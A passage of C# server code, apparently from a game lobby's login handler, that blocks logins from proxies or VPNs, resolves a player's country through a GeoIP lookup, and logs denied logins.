                            }

                            if (blockedHost)
                            {
                                return(BlockLogin("Connection using proxy or VPN is not allowed! (You can ask for exception)", acc, ip, userID));
                            }
                        }
                    }
                } catch (SocketException sockEx) {} catch (Exception ex) {
                    Trace.TraceError("VPN check error: {0}", ex);
                }

                return(new LoginResponse {
                    ResultCode = LoginResponse.Code.Ok
                });
            }
        }

        string ResolveCountry(string ip)
        {
            if (IsLanIP(ip))
            {
                return("CZ");
            }
            else
            {
                try {
                    return(geoIP.Country(ip).Country.IsoCode);
                } catch (Exception ex) {
                    Trace.TraceWarning("{0} Unable to resolve country", this);
                    return("??");
                }
            }
        }

        LoginResponse BlockLogin(string reason, Account acc, string ip, long user_id)
        {
            Talk(string.Format("Login denied for {0} IP:{1} ID:{2} reason: {3}", acc.Name, ip, user_id, reason));
            return(new LoginResponse {
                Reason = reason, ResultCode = LoginResponse.Code.Banned
            });
        }